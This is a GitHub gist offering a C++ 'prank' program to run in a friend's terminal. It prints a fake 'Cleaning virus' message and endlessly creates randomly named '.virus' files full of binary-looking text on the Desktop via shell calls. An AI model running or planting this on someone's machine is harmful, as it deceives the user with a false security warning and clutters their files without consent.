Skip to content

Instantly share code, notes, and snippets.

@EmperorPenguin18
Created May 10, 2021 23:34
Show Gist options
  • Save EmperorPenguin18/1c92ad71e1b4e33e13e515365701cfb8 to your computer and use it in GitHub Desktop.
Save EmperorPenguin18/1c92ad71e1b4e33e13e515365701cfb8 to your computer and use it in GitHub Desktop.
Prank your friends by running this in their terminal
#include <stdlib.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include <thread>
#include <chrono>
#include <fstream>
#include <time.h>
#include <unistd.h>
using namespace std;
int command(string input)
{
system( (input).c_str() );
return 0;
}
int main()
{
int n;
string line;
int i;
unsigned int microseconds;
string name;
srand(time(NULL));
command("clear");
cout << "Cleaning virus, please do not close this window..." << '\n';
while (true)
{
microseconds = ((double)rand()) / ((double)RAND_MAX) * 1.9 + 0.1;
microseconds *= 1000000;
usleep(microseconds);
name = "";
for (i = 0; i < 5; i++)
{
n = 58;
while ( (n == 58) || (n == 59) || (n == 60) || (n == 61) || (n == 62) || (n == 63) || (n == 64) || (n == 91) || (n == 92) || (n == 93) || (n == 94) || (n == 95) || (n == 96) ) { n = rand() % 74 + 48; }
name += (char)n;
}
command("touch ~/Desktop/" + name + ".virus");
for (i = 0; i < 100; i++)
{
n = rand() % 3;
if (n == 0)
{
command("echo '001011000101010101010111010101110101010101101010101010101010' >> ~/Desktop/" + name + ".virus");
}
else if (n == 1)
{
command("echo '110101000101010010000110111010101010101010100101001010110110' >> ~/Desktop/" + name + ".virus");
}
else
{
command("echo '001001101000110100110101011010101101011010101010101110101100' >> ~/Desktop/" + name + ".virus");
}
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment